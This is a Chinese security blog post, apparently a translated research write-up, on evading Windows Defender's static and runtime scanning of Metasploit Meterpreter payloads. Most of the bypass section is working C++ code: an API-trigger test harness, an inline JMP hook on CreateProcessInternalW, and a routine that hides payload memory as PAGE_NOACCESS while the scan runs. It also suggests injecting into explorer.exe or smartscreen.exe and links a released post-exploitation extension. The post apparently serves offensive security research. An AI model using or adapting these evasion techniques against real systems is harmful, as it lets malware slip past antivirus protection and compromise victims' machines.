如何规避Windows Defender运行时扫描

阅读量    225329 | 评论 3   稿费 180

分享到: QQ空间 新浪微博 微信 QQ facebook twitter

 

0x00 前言

在现代版本的Windows系统中,Windows Defender默认处于启用状态,这对防御方而言是非常重要的一种缓解机制,因此也攻击者的一个潜在目标。虽然近些年来Defender的技术有了显著进步,但依然用到了许多古老的AV技术,这些技术很容易被绕过。在本文中我们分析了其中某些技术,讨论了潜在的绕过方式。

 

0x01 背景知识

在深入分析Windows Defender之前,我们想快速介绍一下现代大多数AV引擎所使用的主要分析方法:

1、静态分析:扫描磁盘上文件的内容,主要依赖于已有的一组恶意特征。虽然静态分析对已知的恶意软件而言非常有效,但很容易被绕过,导致无法有效发现新型恶意软件。这种技术的新晋版本为基于文件分类的机器学习技术,本质上是将静态特征与已知的无害及恶意样本进行比较,以检测异常文件。

2、进程内存/运行时分析:这种方式与静态分析类似,但分析对象是正在运行进程的内存,而不是磁盘上的文件。这种技术对攻击者而言更有挑战,在内存中混淆代码的难度更大,因此很容易检测正在执行的恶意代码及payload。

我们还需要关注触发扫描的方式:

1、文件读写:当创建新文件或文件被修改时,有可能会触发AV执行文件扫描动作。

2、定期扫描:AV会定期扫描系统,比如每日或每周执行扫描,扫描对象可能为系统上的所有文件或者部分文件。正在运行进程的内存也是定期扫描的目标。

3、可疑行为:AV通常会监控可疑行为(通常为API调用),出现可疑行为时会触发扫描,扫描对象可能为本地文件或者进程内存。

在下文中,我们会详细讨论潜在的绕过技术。

 

0x02 使用自定义加密绕过静态分析

最常见的、资料最多的绕过静态分析的一种方式就是加密payload,然后在执行时再进行解密。这种方式每次都能构造出不一样的payload,导致基于静态文件特征的方式失效。网上有许多开源项目用到了这种技巧(比如Veil、Hyperion、PE-Crypter等)。由于我们想测试各种内存注入技术,因此我们编写了一个自定义加密器,将这些技术整合到同样一个payload中。

我们的加密器会以某个“stub”作为解密对象,加载、执行我们的payload以及恶意payload。将这些payload交给加密器处理后,我们能得到一个最终payload,在目标系统上执行。

在PoC中,我们采用了不同的注入技术,包括本地/远程shellcode注入、Process Hollowing及反射加载,可以用来测试AV的防御机制。我们向“Stub Options”传入参数来决定选择使用哪种技术。

在使用标准的Metasploit Meterpreter payload时,以上这些技术都可以绕过Windows Defender的静态文件扫描。然而,虽然payload能够成功执行,我们发现当用到了某些命令(如shell/execute时),Windows Defender还是会杀掉Meterpreter会话。

 

0x03 运行时分析

前面提到过,内存扫描行为可以定期执行,或者被特定的行为所“触发”。考虑到我们的Meterpreter会话只有在使用shell/execute时才会被杀掉,因此似乎是这种行为触发了扫描。

为了测试并理解这种行为,我们研究了Metasploit源码,发现Meterpreter使用了CreateProcess API来启动新进程:

// Try to execute the process
if (!CreateProcess(NULL, commandLine, NULL, NULL, inherit, createFlags, NULL, NULL, (STARTUPINFOA*)&si, &pi))
{
    result = GetLastError();
    break;
}

观察CreateProcess及附近代码的参数,我们并没有发现可疑的特征。调试并跟进代码后,我们还是没有找到任何在用户态存在的hook,但当在第5行执行syscall后,Windows Defender就会找到并终止Meterpreter会话。

这表明Windows Defender会从内核记录进程行为,当发现调用特定API时就会触发进程内存扫描。为了验证这个猜测,我们编写了某些自定义代码,调用可能可疑的API函数,然后测试Windows Defender是否会被触发,是否会kill Meterpreter会话。

VOID detectMe() {
    std::vector<BOOL(*)()>* funcs = new std::vector<BOOL(*)()>();

    funcs->push_back(virtualAllocEx);
    funcs->push_back(loadLibrary);
    funcs->push_back(createRemoteThread);
    funcs->push_back(openProcess);
    funcs->push_back(writeProcessMemory);
    funcs->push_back(openProcessToken);
    funcs->push_back(openProcess2);
    funcs->push_back(createRemoteThreadSuspended);
    funcs->push_back(createEvent);
    funcs->push_back(duplicateHandle);
    funcs->push_back(createProcess);

    for (int i = 0; i < funcs->size(); i++) {
        printf("[!] Executing func at index %d ", i);

        if (!funcs->at(i)()) {
            printf(" Failed, %d", GetLastError());
        }

        Sleep(7000);
        printf(" Passed OK!\n");
    }
}

有趣的是,大多数测试函数并不会触发扫描事件,只有CreateProcessCreateRemoteThread会触发扫描。这种情况也正常,因为如果每次调用API时都会触发Windows Defender,那么系统性能无疑会受到影响。

 

0x04 绕过Windows Defender运行时分析

确定某些API会触发Windows Defender的内存扫描时,下一个问题是如何绕过这种机制?一种简单的方法就是避免使用会触发Windows Defender运行时扫描的API,但这意味着我们需要手动重写Metasploit payload,显然非常麻烦。另一种方式就是在内存种混淆代码,当发现有扫描动作时,添加/修改指令或者动态加密/解密内存中的payload。但我们是否能找到其他方法呢?

有一点对攻击者来说比较有利:进程的虚拟内存空间很大,32位为2GB、64位为128TB。因此AV通常不会扫描进程的整个虚拟内存空间,而是查找特定的分页或者权限(比如MEM_PRIVATERWX分页权限)。阅读微软官方文档后,我们可以找到一个非常有趣的权限:PAGE_NOACCESS。该权限会“禁用对特定分页区域的所有访问。如果尝试读取、写入或者执行特定分页区域,将导致访问冲突”,这正是我们寻找的一种行为。快速测试后,我们确定Windows Defender不会扫描带有该权限的页面,因此我们很可能找到了一种绕过方法!

为了武器化这种技术,我们只需要在调用可疑API时(即会触发扫描动作的API)动态设置PAGE_NOACCESS内存权限,然后在扫描结束时恢复权限即可。这里唯一的技巧是,我们只需要为可疑的调用设置hook,确保能在扫描触发前设置权限即可。

将以上信息结合在一起,我们需要执行如下操作:

1、设置hook,探测会触发Windows Defender的函数调用(CreateProcess)操作;

2、当调用CreateProcess时,触发hook,挂起Meterpreter线程;

3、将payload的内存权限设置为PAGE_NOACCESS

4、等待扫描结束;

5、将权限设回RWX

6、恢复线程,继续执行。

下面我们来分析具体代码。

 

0x05 分析Hook代码

我们首先创建一个installHook函数,参数为CreateProcess以及hook函数的地址,然后将正常函数地址替换为hook函数地址。

CreateProcessInternalW = (PCreateProcessInternalW)GetProcAddress(GetModuleHandle(L"KERNELBASE.dll"), "CreateProcessInternalW");
CreateProcessInternalW = (PCreateProcessInternalW)GetProcAddress(GetModuleHandle(L"kernel32.dll"), "CreateProcessInternalW");
hookResult = installHook(CreateProcessInternalW, hookCreateProcessInternalW, 5);

installHook函数中,我们会保存当前进程状态,然后使用JMP指令替换CreateProcess地址处的内存,跳转到我们的hook,这样当CreateProcess被调用时,实际上调用的是我们自己的代码。我们还设计了一个restoreHook函数,用来执行反向操作。

LPHOOK_RESULT installHook(LPVOID hookFunAddr, LPVOID jmpAddr, SIZE_T len) {
    if (len < 5) {
        return NULL;
    }

    DWORD currProt;


    LPBYTE originalData = (LPBYTE)HeapAlloc(GetProcessHeap(), HEAP_GENERATE_EXCEPTIONS, len);
    CopyMemory(originalData, hookFunAddr, len);

    LPHOOK_RESULT hookResult = (LPHOOK_RESULT)HeapAlloc(GetProcessHeap(), HEAP_GENERATE_EXCEPTIONS, sizeof(HOOK_RESULT));

    hookResult->hookFunAddr = hookFunAddr;
    hookResult->jmpAddr = jmpAddr;
    hookResult->len = len;
    hookResult->free = FALSE;

    hookResult->originalData = originalData;

    VirtualProtect(hookFunAddr, len, PAGE_EXECUTE_READWRITE, &currProt);

    memset(hookFunAddr, 0x90, len);

    SIZE_T relativeAddress = ((SIZE_T)jmpAddr - (SIZE_T)hookFunAddr) - 5;

    *(LPBYTE)hookFunAddr = 0xE9;
    *(PSIZE_T)((SIZE_T)hookFunAddr + 1) = relativeAddress;

    DWORD temp;
    VirtualProtect(hookFunAddr, len, currProt, &temp);

    printf("Hook installed at address: %02uX\n", (SIZE_T)hookFunAddr);

    return hookResult;
}
BOOL restoreHook(LPHOOK_RESULT hookResult) {
    if (!hookResult) return FALSE;

    DWORD currProt;

    VirtualProtect(hookResult->hookFunAddr, hookResult->len, PAGE_EXECUTE_READWRITE, &currProt);

    CopyMemory(hookResult->hookFunAddr, hookResult->originalData, hookResult->len);

    DWORD dummy;

    VirtualProtect(hookResult->hookFunAddr, hookResult->len, currProt, &dummy);

    HeapFree(GetProcessHeap(), HEAP_GENERATE_EXCEPTIONS, hookResult->originalData);
    HeapFree(GetProcessHeap(), HEAP_GENERATE_EXCEPTIONS, hookResult);

    return TRUE;
}

当我们的Metasploit payload调用CreateProcess函数时,就会执行我们自定义的hookCreateProcessInternalW方法。hookCreateProcessInternalW会调用另一个线程上的createProcessNinja,隐藏Meterpreter payload。

BOOL 
WINAPI
hookCreateProcessInternalW(HANDLE hToken,
    LPCWSTR lpApplicationName,
    LPWSTR lpCommandLine,
    LPSECURITY_ATTRIBUTES lpProcessAttributes,
    LPSECURITY_ATTRIBUTES lpThreadAttributes,
    BOOL bInheritHandles,
    DWORD dwCreationFlags,
    LPVOID lpEnvironment,
    LPCWSTR lpCurrentDirectory,
    LPSTARTUPINFOW lpStartupInfo,
    LPPROCESS_INFORMATION lpProcessInformation,
    PHANDLE hNewToken)
{
    BOOL res = FALSE;
    restoreHook(createProcessHookResult);
    createProcessHookResult = NULL;

    printf("My createProcess called\n");

    LPVOID options = makeProcessOptions(hToken, lpApplicationName, lpCommandLine, lpProcessAttributes, lpThreadAttributes, bInheritHandles, dwCreationFlags, lpEnvironment, lpCurrentDirectory, lpStartupInfo, lpProcessInformation, hNewToken);

    HANDLE thread = CreateThread(NULL, 0, (LPTHREAD_START_ROUTINE)createProcessNinja, options, 0, NULL);

    printf("[!] Waiting for thread to finish\n");
    WaitForSingleObject(thread, INFINITE);

    GetExitCodeThread(thread, (LPDWORD)& res);

    printf("[!] Thread finished\n");

    CloseHandle(thread);

    createProcessHookResult = installHook(CreateProcessInternalW, hookCreateProcessInternalW, 5);

    return res;
}

在最终调用CreateProcess前,我们在代码中使用了setPermissions,将我们内存区域权限设置为PAGE_NOACCESS

BOOL createProcessNinja(LPVOID options) {
    LPPROCESS_OPTIONS processOptions = (LPPROCESS_OPTIONS)options;

    printf("Thread Handle: %02lX\n", metasploitThread);


    if (SuspendThread(metasploitThread) != -1) {
        printf("[!] Suspended thread \n");
    }
    else {
        printf("Couldnt suspend thread: %d\n", GetLastError());
    }


    setPermissions(allocatedAddresses.arr, allocatedAddresses.dwSize, PAGE_NOACCESS);

    BOOL res = CreateProcessInternalW(processOptions->hToken,
        processOptions->lpApplicationName,
        processOptions->lpCommandLine,
        processOptions->lpProcessAttributes,
        processOptions->lpThreadAttributes,
        processOptions->bInheritHandles,
        processOptions->dwCreationFlags,
        processOptions->lpEnvironment,
        processOptions->lpCurrentDirectory,
        processOptions->lpStartupInfo,
        processOptions->lpProcessInformation,
        processOptions->hNewToken);

    Sleep(7000);

    if (setPermissions(allocatedAddresses.arr, allocatedAddresses.dwSize, PAGE_EXECUTE_READWRITE)) {
        printf("ALL OK, resuming thread\n");

        ResumeThread(metasploitThread);
    }
    else {
        printf("[X] Coundn't revert permissions back to normal\n");
    }

    HeapFree(GetProcessHeap(), HEAP_GENERATE_EXCEPTIONS, processOptions);
    return res;
}

这里我们只是简单sleep 5秒,等待Windows Defender扫描结束,然后恢复Metasploit模块的正常权限。在测试环境中,5秒已经足够完成任务,但在实际系统或者其他进程上,我们可能需要更长时间。

此外我们在测试中发现,有些进程即使调用到了这些WinAPI函数,依然不会触发Windows Defender。这些进程包括:

explorer.exe
smartscreen.exe

因此可能还有另一种绕过方法:将Meterpreter payload注入到这些进程中,这样有可能绕过Windows Defender的内存扫描。这两个进程会频繁调用CreateProcess,因此我们相信出于性能优化原因,微软不会因此执行扫描操作。

我们开发了一个Metasploit自定义扩展(Ninjasploit),作为后渗透扩展来绕过Windows Defender。该扩展提供了两条命令:install_hooksrestore_hooks,实现了前文描述的基于内存修改的绕过技术。大家可访问此处下载源码。

 

0x06 总结

近几年来,Windows Defender有了不少改进,但如本文所述,我们只需要稍微操作就能绕过静态分析甚至运行时分析。

我们演示了如何通过payload加密及常见的进程注入技术来绕过Windows Defender。此外,尽管更加高级的运行时分析带来了不少阻碍,但我们可以滥用运行时内存扫描的局限性实现绕过。大家也可以测试下一代文件分类技术以及现有的EDR解决方案,这些方案可能会带来更多挑战。

 

0x07 参考资料

https://github.com/Veil-Framework/Veil

https://github.com/nullsecuritynet/tools/tree/master/binary/hyperion/source

https://github.com/FSecureLABS/Ninjasploit

分享到: QQ空间 新浪微博 微信 QQ facebook twitter
|推荐阅读
|发表评论
|评论列表
加载更多